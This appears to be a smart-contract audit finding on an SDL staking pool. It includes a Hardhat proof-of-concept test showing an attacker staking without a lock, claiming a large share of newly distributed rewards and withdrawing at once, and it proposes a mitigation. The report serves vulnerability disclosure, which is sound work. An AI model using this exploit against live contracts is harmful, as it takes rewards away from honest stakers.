An attacker doesn't even need to lock their SDL to get high value reward.
An attacker can stake good amount of SDL without locking it, now if unfortunately rewards are distributed before or just after the attacker's stake then he can withdraw his reward and withdraw his stake, the timing could be less than 5 minutes if the rewards were already distributed. So in just 5 minutes he can get his reward and unstake his position. Attacker also can front run if he sees the reward to be distributed.
it('step wise2', async () => {
await sdlToken.transferAndCall(
sdlPool.address,
toEther(100),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 150 * DAY])
)
await time.increase(50*DAY)
await sdlToken
.connect(signers[1])
.transferAndCall(
sdlPool.address,
toEther(200),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 150 * DAY])
)
await time.increase(50*DAY)
await sdlToken
.connect(signers[2])
.transferAndCall(
sdlPool.address,
toEther(8000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 150 * DAY])
)
await time.increase(100)
await sdlToken
.connect(signers[3])
.transferAndCall(
sdlPool.address,
toEther(1000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
await sdlPool.handleOutgoingUpdate()
await sdlPool.handleIncomingUpdate(1)
await sdlPool.executeQueuedOperations([])
await sdlPool.connect(signers[1]).executeQueuedOperations([])
await sdlPool.connect(signers[2]).executeQueuedOperations([])
await sdlPool.connect(signers[3]).executeQueuedOperations([])
await rewardToken.transferAndCall(sdlPool.address, toEther(10000), '0x')
console.log(fromEther(await rewardsPool.withdrawableRewards(accounts[0])))
console.log(fromEther(await rewardsPool.withdrawableRewards(accounts[1])))
console.log(fromEther(await rewardsPool.withdrawableRewards(accounts[2])))
console.log("The attacker's withdrable reward: ", fromEther(await rewardsPool.withdrawableRewards(accounts[3])))
console.log(await sdlPool.getLockIdsByOwner(accounts[3]))
await expect(sdlPool.connect(signers[3]).withdraw(4, toEther(1000))).not.to.be.reverted
console.log(await rewardsPool.token())
await expect(sdlPool.connect(signers[3]).withdrawRewards(["0x63309E64Bc20704D6e4f411aAC3de5E0345F6d69"])).not.to.be.reverted
console.log("The attacker remaining reward after withdrawing: ", fromEther(await rewardsPool.withdrawableRewards(accounts[3])))
assert.equal(fromEther(await rewardsPool.withdrawableRewards(accounts[3])),0)
})
An attacker can get huge reward depends on his staked amount without even locking it and most importantly in very less time.
Manual analysis.
Make them unable to unstake for a limit of time if they don't lock their token.
